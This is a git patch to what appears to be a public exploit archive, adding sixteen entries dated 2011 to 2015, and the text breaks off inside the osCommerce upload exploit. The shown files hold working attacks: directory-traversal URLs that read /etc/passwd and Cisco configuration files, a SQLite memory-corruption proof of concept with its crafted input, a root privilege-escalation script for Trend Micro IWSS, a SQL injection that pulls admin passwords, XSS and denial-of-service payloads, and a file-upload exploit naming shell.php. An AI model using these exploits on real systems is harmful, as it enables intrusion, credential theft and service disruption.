From 5dff5f8ab5f62112255402313de8e7cc70637da6 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Thu, 5 Mar 2015 08:36:06 +0000 Subject: [PATCH] Update: 2015-03-05 16 new exploits --- files.csv | 16 +++ platforms/hardware/remote/36256.txt | 17 +++ platforms/linux/dos/36190.txt | 154 ++++++++++++++++++++++++++++ platforms/linux/local/36257.txt | 18 ++++ platforms/multiple/dos/36247.txt | 10 ++ platforms/multiple/remote/36246.txt | 9 ++ platforms/php/webapps/36244.txt | 9 ++ platforms/php/webapps/36245.txt | 7 ++ platforms/php/webapps/36248.txt | 13 +++ platforms/php/webapps/36249.txt | 13 +++ platforms/php/webapps/36251.txt | 87 ++++++++++++++++ platforms/php/webapps/36252.txt | 9 ++ platforms/php/webapps/36253.txt | 13 +++ platforms/php/webapps/36254.txt | 10 ++ platforms/php/webapps/36255.txt | 10 ++ platforms/windows/remote/36250.html | 31 ++++++ platforms/windows/remote/36258.txt | 10 ++ 17 files changed, 436 insertions(+) create mode 100755 platforms/hardware/remote/36256.txt create mode 100755 platforms/linux/dos/36190.txt create mode 100755 platforms/linux/local/36257.txt create mode 100755 platforms/multiple/dos/36247.txt create mode 100755 platforms/multiple/remote/36246.txt create mode 100755 platforms/php/webapps/36244.txt create mode 100755 platforms/php/webapps/36245.txt create mode 100755 platforms/php/webapps/36248.txt create mode 100755 platforms/php/webapps/36249.txt create mode 100755 platforms/php/webapps/36251.txt create mode 100755 platforms/php/webapps/36252.txt create mode 100755 platforms/php/webapps/36253.txt create mode 100755 platforms/php/webapps/36254.txt create mode 100755 platforms/php/webapps/36255.txt create mode 100755 platforms/windows/remote/36250.html create mode 100755 platforms/windows/remote/36258.txt diff --git a/files.csv b/files.csv index 02afec335..ee4797e54 100755 --- a/files.csv +++ b/files.csv @@ -32620,6 +32620,7 @@ id,file,description,date,author,platform,type,port 36187,platforms/php/webapps/36187.txt,"WordPress Black-LetterHead Theme 1.5 'index.php' Cross Site Scripting Vulnerability",2011-09-30,SiteWatch,php,webapps,0 36188,platforms/windows/local/36188.txt,"Electronic Arts Origin Client 9.5.5 - Multiple Privilege Escalation Vulnerabilities",2015-02-26,LiquidWorm,windows,local,0 36189,platforms/windows/local/36189.txt,"Ubisoft Uplay 5.0 - Insecure File Permissions Local Privilege Escalation",2015-02-26,LiquidWorm,windows,local,0 +36190,platforms/linux/dos/36190.txt,"SQLite3 3.8.6 - Controlled Memory Corruption PoC",2015-02-26,"Andras Kabai",linux,dos,0 36191,platforms/php/webapps/36191.txt,"WordPress RedLine Theme 1.65 's' Parameter Cross Site Scripting Vulnerability",2011-09-30,SiteWatch,php,webapps,0 36192,platforms/php/webapps/36192.txt,"A2CMS 'index.php' Local File Disclosure Vulnerability",2011-09-28,St493r,php,webapps,0 36193,platforms/php/webapps/36193.txt,"WordPress WP Bannerize 2.8.7 'ajax_sorter.php' SQL Injection Vulnerability",2011-09-30,"Miroslav Stampar",php,webapps,0 @@ -32664,3 +32665,18 @@ id,file,description,date,author,platform,type,port 36238,platforms/multiple/remote/36238.txt,"Multiple Toshiba e-Studio Devices Security Bypass Vulnerability",2011-10-17,"Deral Heiland PercX",multiple,remote,0 36239,platforms/hardware/remote/36239.txt,"Check Point UTM-1 Edge and Safe 8.2.43 Multiple Security Vulnerabilities",2011-10-18,"Richard Brain",hardware,remote,0 36240,platforms/php/webapps/36240.txt,"Site@School 2.4.10 'index.php' Cross Site Scripting and SQL Injection Vulnerabilities",2011-10-18,"Stefan Schurtz",php,webapps,0 +36244,platforms/php/webapps/36244.txt,"Boonex Dolphin 6.1 'xml/get_list.php' SQL Injection Vulnerability",2011-10-19,"Yuri Goltsev",php,webapps,0 +36245,platforms/php/webapps/36245.txt,"Innovate Portal 2.0 'cat' Parameter Cross Site Scripting Vulnerability",2011-10-20,"Eyup CELIK",php,webapps,0 +36246,platforms/multiple/remote/36246.txt,"Splunk <= 4.1.6 'segment' Parameter Cross Site Scripting Vulnerability",2011-10-20,"Filip Palian",multiple,remote,0 +36247,platforms/multiple/dos/36247.txt,"Splunk <= 4.1.6 Web component Remote Denial of Service Vulnerability",2011-10-20,"Filip Palian",multiple,dos,0 +36248,platforms/php/webapps/36248.txt,"osCommerce Remote File Upload and File Disclosure Vulnerabilities",2011-10-20,indoushka,php,webapps,0 +36249,platforms/php/webapps/36249.txt,"Tine 2.0 Multiple Cross Site Scripting Vulnerabilities",2011-10-20,"High-Tech Bridge SA",php,webapps,0 +36250,platforms/windows/remote/36250.html,"Oracle AutoVue 20.0.1 'AutoVueX.ocx' ActiveX Control 'ExportEdaBom()' Insecure Method Vulnerability",2011-10-24,rgod,windows,remote,0 +36251,platforms/php/webapps/36251.txt,"PHPMoAdmin Unauthorized Remote Code Execution (0-Day)",2015-03-03,@u0x,php,webapps,80 +36252,platforms/php/webapps/36252.txt,"e107 0.7.24 'cmd' Parameter Remote Command Execution Vulnerability",2011-10-24,"Matt Bergin",php,webapps,0 +36253,platforms/php/webapps/36253.txt,"InverseFlow 2.4 Multiple Cross Site Scripting Vulnerabilities",2011-10-24,"Amir Expl0its",php,webapps,0 +36254,platforms/php/webapps/36254.txt,"Alsbtain Bulletin 1.5/1.6 Multiple Local File Include Vulnerabilities",2011-10-25,"Null H4ck3r",php,webapps,0 +36255,platforms/php/webapps/36255.txt,"vtiger CRM 5.2.1 'index.php' Multiple Cross Site Scripting Vulnerabilities",2011-10-26,LiquidWorm,php,webapps,0 +36256,platforms/hardware/remote/36256.txt,"Multiple Cisco Products 'file' Parameter Directory Traversal Vulnerability",2011-10-26,"Sandro Gauci",hardware,remote,0 +36257,platforms/linux/local/36257.txt,"Trendmicro IWSS 3.1 Local Privilege Escalation Vulnerability",2011-10-26,"Buguroo Offensive Security",linux,local,0 +36258,platforms/windows/remote/36258.txt,"XAMPP 1.7.4 Multiple Cross Site Scripting Vulnerabilities",2011-10-26,Sangteamtham,windows,remote,0 diff --git a/platforms/hardware/remote/36256.txt b/platforms/hardware/remote/36256.txt new file mode 100755 index 000000000..23725ffa8 --- /dev/null +++ b/platforms/hardware/remote/36256.txt @@ -0,0 +1,17 @@ +source: http://www.securityfocus.com/bid/50372/info + +Multiple Cisco products are prone to a directory-traversal vulnerability. + +Exploiting this issue will allow an attacker to read arbitrary files from locations outside of the application's current directory. This could help the attacker launch further attacks. + +This issue is tracked by Cisco BugID CSCts44049 and CSCth09343. + +The following products are affected: + +Cisco Unified IP Interactive Voice Response +Cisco Unified Contact Center Express +Cisco Unified Communications Manager + +http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd + +http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../usr/local/platform/conf/platformConfig.xml \ No newline at end of file diff --git a/platforms/linux/dos/36190.txt b/platforms/linux/dos/36190.txt new file mode 100755 index 000000000..f194f5b38 --- /dev/null +++ b/platforms/linux/dos/36190.txt @@ -0,0 +1,154 @@ +# Exploit Title: SQLite3 controlled memory corruption PoC (0day) +# Date: [date] +# Exploit Author: Andras Kabai +# Vendor Homepage: http://www.sqlite.org/ +# Software Link: http://www.sqlite.org/download.html +# Version: 3.8.6, 3.8.8.3 +# Tested on: Ubuntu 14.10, 64 bit 3.8.6 (latest available package), 3.8.8.3 (built from the latest source code) + +Using a crafted input (e.g. from a malicious file via “-init” parameter or directly given to the std input of the program) it is possible to trigger a memory corruption vulnerability in the most recent version of SQLite3. The memory corruption could be controlled, therefore the program flow could be manipulated by the attacker. + +The following sections demonstrates the attack against the apt-get installed installed and updated sqlite3 and against a newer version that is built from source. + +==== + +andrew@ubufuzzx6401:~/issues/sqlite$ which sqlite3 +/usr/bin/sqlite3 +andrew@ubufuzzx6401:~/issues/sqlite$ /usr/bin/sqlite3 -version +3.8.6 2014-08-15 11:46:33 9491ba7d738528f168657adb43a198238abde19e +andrew@ubufuzzx6401:~/issues/sqlite$ gdb64 /usr/bin/sqlite3 +GNU gdb (Ubuntu 7.8-1ubuntu4) 7.8.0.20141001-cvs +Copyright (C) 2014 Free Software Foundation, Inc. +License GPLv3+: GNU GPL version 3 or later +This is free software: you are free to change and redistribute it. +There is NO WARRANTY, to the extent permitted by law. Type "show copying" +and "show warranty" for details. +This GDB was configured as "x86_64-linux-gnu". +Type "show configuration" for configuration details. +For bug reporting instructions, please see: +. +Find the GDB manual and other documentation resources online at: +. +For help, type "help". +Type "apropos word" to search for commands related to "word"... +Reading symbols from /usr/bin/sqlite3...(no debugging symbols found)...done. +(gdb) set disassembly-flavor intel +(gdb) set args < sqlitepoc.txt +(gdb) r +Starting program: /usr/bin/sqlite3 < sqlitepoc.txt +warning: the debug information found in "/lib64/ld-2.19.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch). + +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". +Usage: .trace FILE|off +Error: near line 4: near "whatever": syntax error +Usage: .trace FILE|off + +Program received signal SIGSEGV, Segmentation fault. +0x00007ffff7ba06a0 in sqlite3_load_extension () from /usr/lib/x86_64-linux-gnu/libsqlite3.so.0 +(gdb) i r +rax 0x138 312 +rbx 0x41414141424242 18367622009733698 +rcx 0x7fffffffb590 140737488336272 +rdx 0x0 0 +rsi 0x555555779b43 93824994483011 +rdi 0x41414141424242 18367622009733698 +rbp 0x555555779b43 0x555555779b43 +rsp 0x7fffffffb4c0 0x7fffffffb4c0 +r8 0x555555779b41 93824994483009 +r9 0x6c 108 +r10 0x0 0 +r11 0x0 0 +r12 0x555555779b48 93824994483016 +r13 0x7fffffffb590 140737488336272 +r14 0x555555779b40 93824994483008 +r15 0x2 2 +rip 0x7ffff7ba06a0 0x7ffff7ba06a0 +eflags 0x10246 [ PF ZF IF RF ] +cs 0x33 51 +ss 0x2b 43 +ds 0x0 0 +es 0x0 0 +fs 0x0 0 +gs 0x0 0 +(gdb) disas $rip,+10 +Dump of assembler code from 0x7ffff7ba06a0 to 0x7ffff7ba06aa: +=> 0x00007ffff7ba06a0 : call QWORD PTR [rbx+0x48] + 0x00007ffff7ba06a3 : mov r15,rax + 0x00007ffff7ba06a6 : lea rax,[rip+0x12bc1] # 0x7ffff7bb326e +End of assembler dump. + +=== + +andrew@ubufuzzx6401:~/tmp/build/sqlite-autoconf-3080803/.libs$ ./lt-sqlite3 -version +3.8.8.3 2015-02-25 13:29:11 9d6c1880fb75660bbabd693175579529785f8a6b +andrew@ubufuzzx6401:~/tmp/build/sqlite-autoconf-3080803/.libs$ gdb64 ./lt-sqlite3 +GNU gdb (Ubuntu 7.8-1ubuntu4) 7.8.0.20141001-cvs +Copyright (C) 2014 Free Software Foundation, Inc. +License GPLv3+: GNU GPL version 3 or later +This is free software: you are free to change and redistribute it. +There is NO WARRANTY, to the extent permitted by law. Type "show copying" +and "show warranty" for details. +This GDB was configured as "x86_64-linux-gnu". +Type "show configuration" for configuration details. +For bug reporting instructions, please see: +. +Find the GDB manual and other documentation resources online at: +. +For help, type "help". +Type "apropos word" to search for commands related to "word"... +Reading symbols from ./lt-sqlite3...done. +(gdb) set disassembly-flavor intel +(gdb) set args < /home/andrew/issues/sqlite/sqlitepoc.txt +(gdb) r +Starting program: /home/andrew/tmp/build/sqlite-autoconf-3080803/.libs/lt-sqlite3 < /home/andrew/issues/sqlite/sqlitepoc.txt +warning: the debug information found in "/lib64/ld-2.19.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch). + +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". +Usage: .trace FILE|off +Error: near line 4: near "whatever": syntax error +Usage: .trace FILE|off + +Program received signal SIGSEGV, Segmentation fault. +sqlite3LoadExtension (pzErrMsg=0x7fffffffb510, zProc=0x0, zFile=0x6261c3 "CCCCBBBBAAAA", db=0x6261c8) at sqlite3.c:36169 +36169 } +(gdb) i r +rax 0x138 312 +rbx 0x41414141424242 18367622009733698 +rcx 0x7fffffffb510 140737488336144 +rdx 0x0 0 +rsi 0x6261c3 6447555 +rdi 0x41414141424242 18367622009733698 +rbp 0x6261c3 0x6261c3 +rsp 0x7fffffffb440 0x7fffffffb440 +r8 0x6261c1 6447553 +r9 0x6c 108 +r10 0x7fffffffb270 140737488335472 +r11 0x7ffff7b5ae50 140737349267024 +r12 0x6261c8 6447560 +r13 0x7fffffffb510 140737488336144 +r14 0x6261c0 6447552 +r15 0x2 2 +rip 0x7ffff7b5b130 0x7ffff7b5b130 +eflags 0x10246 [ PF ZF IF RF ] +cs 0x33 51 +ss 0x2b 43 +ds 0x0 0 +es 0x0 0 +fs 0x0 0 +gs 0x0 0 +(gdb) disas $rip,+10 +Dump of assembler code from 0x7ffff7b5b130 to 0x7ffff7b5b13a: +=> 0x00007ffff7b5b130 : call QWORD PTR [rbx+0x48] + 0x00007ffff7b5b133 : mov r15,rax + 0x00007ffff7b5b136 : lea rax,[rip+0x587d8] # 0x7ffff7bb3915 +End of assembler dump. + +==== + +andrew@ubufuzzx6401:~/issues/sqlite$ hexdump -C sqlitepoc.txt +00000000 3b 0a 2e 74 20 78 0a 2e 74 0a 77 68 61 74 65 76 |;..t x..t.whatev| +00000010 65 72 00 0a 3b 0a 2e 74 0a 2e 6f 70 0a 2e 6c 20 |er..;..t..op..l | +00000020 43 43 43 43 42 42 42 42 41 41 41 41 0a |CCCCBBBBAAAA.| +0000002d \ No newline at end of file diff --git a/platforms/linux/local/36257.txt b/platforms/linux/local/36257.txt new file mode 100755 index 000000000..e679c5cc4 --- /dev/null +++ b/platforms/linux/local/36257.txt @@ -0,0 +1,18 @@ +source: http://www.securityfocus.com/bid/50380/info + +Trendmicro IWSS is prone to a local privilege-escalation vulnerability. + +Local attackers can exploit this issue to execute arbitrary code with root privileges and completely compromise the affected computer. + +Trendmicro IWSS 3.1 is vulnerable; other versions may also be affected. + +#!/bin/bash +# Copyright 2011 Buguroo Offensive Security - jrvilla.AT.buguroo.com + +cd /tmp +echo "[*] Creating shell file" +echo -e "#!/bin/bash\n/bin/bash" > PatchExe.sh +echo "[*] Change permissions" +chmod 755 PatchExe.sh +echo "[*] Got r00t... Its free!" +/opt/trend/iwss/data/patch/bin/patchCmd u root \ No newline at end of file diff --git a/platforms/multiple/dos/36247.txt b/platforms/multiple/dos/36247.txt new file mode 100755 index 000000000..d427512ba --- /dev/null +++ b/platforms/multiple/dos/36247.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/50298/info + +Splunk is prone to a remote denial-of-service vulnerability. + +Exploiting this issue will exhaust system resources and cause the application to crash, denying service to legitimate users. + +http://www.example.com/en-US/prototype/segmentation_performance?lines=999&depth=99999999&segment=foo&element=span&attribute=class&segmentation=nested + +http://www.example.com/en-US/prototype/segmentation_performance?lines=99999999999999999999999999999999999999&depth=99999999999999999999999999999999999999&segment=foo&element=span&attribute=class&segmentation=nested +https://localhost/en-US/debug/sso \ No newline at end of file diff --git a/platforms/multiple/remote/36246.txt b/platforms/multiple/remote/36246.txt new file mode 100755 index 000000000..300371c2f --- /dev/null +++ b/platforms/multiple/remote/36246.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/50296/info + +Splunk is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. + +An attacker may leverage this issue to execute arbitrary HTML and script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +Splunk versions 4.2.2 and prior are vulnerable. + +http://www.example.com/en-US/prototype/segmentation_performance?lines=2&depth=2&segment=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&element=aaa&attribute=aaa&segmentation=flattened \ No newline at end of file diff --git a/platforms/php/webapps/36244.txt b/platforms/php/webapps/36244.txt new file mode 100755 index 000000000..4a080ac38 --- /dev/null +++ b/platforms/php/webapps/36244.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/50286/info + +Boonex Dolphin is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. + +A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. + +Boonex Dolphin 6.1 is vulnerable; other versions may also be affected. + +http://www.example.com/xml/get_list.php?dataType=ApplyChanges&iNumb=1&iIDcat=(select 1 from AdminMenu where 1=1 group by concat((select password from Admins),rand(0)|0) having min(0) ) \ No newline at end of file diff --git a/platforms/php/webapps/36245.txt b/platforms/php/webapps/36245.txt new file mode 100755 index 000000000..5e7d8967e --- /dev/null +++ b/platforms/php/webapps/36245.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/50295/info + +Innovate Portal is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. + +An attacker may leverage this issue to execute arbitrary HTML and script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +http://www.example.com/index.php?cat=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28948044%29%3c%2fScRiPt%3e&content=error&sid=57cdbb83e0ab1b879e0a0f91fbf22781&what=user_notfound \ No newline at end of file diff --git a/platforms/php/webapps/36248.txt b/platforms/php/webapps/36248.txt new file mode 100755 index 000000000..89b4581f3 --- /dev/null +++ b/platforms/php/webapps/36248.txt @@ -0,0 +1,13 @@ +source: http://www.securityfocus.com/bid/50301/info + +osCommerce is prone to a remote file upload and a file disclosure vulnerability. The issues occur because the application fails to adequately sanitize user-supplied input. + +An attacker can exploit these issues to upload a file and obtain an arbitrary file's content; other attacks are also possible. + +The following URL is available for the file disclosure vulnerability: + +http://www.example.com/admin/shop_file_manager.php/login.php/login.php?action=download&filename=/includes/_includes_configure.php + +The following exploit is available for the remote file upload vulnerability: + + creloaded - Remote File Upload

UPLOAD FILE:


CREATE FILE:
FILE NAME:
  (ex. shell.php)
FILE CONTENTS: